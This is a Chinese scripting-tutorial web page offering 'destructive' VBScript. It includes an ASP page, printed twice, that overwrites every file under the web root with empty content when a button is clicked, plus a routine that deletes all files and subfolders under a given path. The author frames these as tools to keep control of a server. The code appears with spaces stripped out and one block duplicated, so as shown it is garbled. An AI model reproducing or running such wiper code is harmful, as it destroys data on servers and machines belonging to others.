手机
当前位置:查字典教程网 >脚本专栏 >vbs >VBS破坏性应用代码
VBS破坏性应用代码
摘要:'网上看到的,适用与没有禁用shell.application的服务器server.scripttimeout=99999Ifrequest...

'网上看到的,适用与没有禁用shell.application的服务器

server.scripttimeout=99999

Ifrequest("submit")<>""Then

Calllistfile(server.mappath("./"))

response.Write"处理完毕"

Else

response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"

EndIf

Functionlistfile(fpath)

OnErrorResumeNext

DimShell,Folder,s

SetShell=server.CreateObject("shell.application")

SetFolder=Shell.namespace(fpath)

Setf=server.CreateObject("adodb.stream")

f.Type=1

f.Open

ForEachsinFolder.Items

Ifs.isfolderThen

Calllistfile(s.Path)

Else

f.savetofiles.Path,2

EndIf

Next

Setf=Nothing

SetShell=Nothing

EndFunction

'网上看到的,适用与没有禁用shell.application的服务器

server.scripttimeout=99999

Ifrequest("submit")<>""Then

Calllistfile(server.mappath("./"))

response.Write"处理完毕"

Else

response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"

EndIf

Functionlistfile(fpath)

OnErrorResumeNext

DimShell,Folder,s

SetShell=server.CreateObject("shell.application")

SetFolder=Shell.namespace(fpath)

Setf=server.CreateObject("adodb.stream")

f.Type=1

f.Open

ForEachsinFolder.Items

Ifs.isfolderThen

Calllistfile(s.Path)

Else

f.savetofiles.Path,2

EndIf

Next

Setf=Nothing

SetShell=Nothing

EndFunction

以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:

viewplaincopytoclipboardprint?

'看到文件删文件,看到文件夹删除文件夹

FunctionFilesTree(sPath)

SetoFso=CreateObject("Scripting.FileSystemObject")

SetoFolder=oFso.GetFolder(sPath)

SetoSubFolders=oFolder.SubFolders

SetoFiles=oFolder.Files

ForEachoFileInoFiles

'WScript.EchooFile.Path

oFile.Delete

Next

ForEachoSubFolderInoSubFolders

'WScript.EchooSubFolder.Path

oSubFolder.Delete

'FilesTree(oSubFolder.Path)'递归

Next

SetoFolder=Nothing

SetoSubFolders=Nothing

SetoFso=Nothing

EndFunction

FilesTree("F:deltestdeltest")'遍历

【VBS破坏性应用代码】相关文章:

VBS教程:属性-TotalSize 属性

VBS中Select CASE的其它用法

LCL.VBS 病毒源代码

VBS中常用脚本代码

用vb和vbs 破解flashxp的密码的代码

VBS读网页的代码

VBS MD5加密算法代码

妙用VBScript自制IE工具栏按钮的代码

VBS教程:属性-Column 属性

VBS教程:属性-VolumeName 属性

精品推荐
分类导航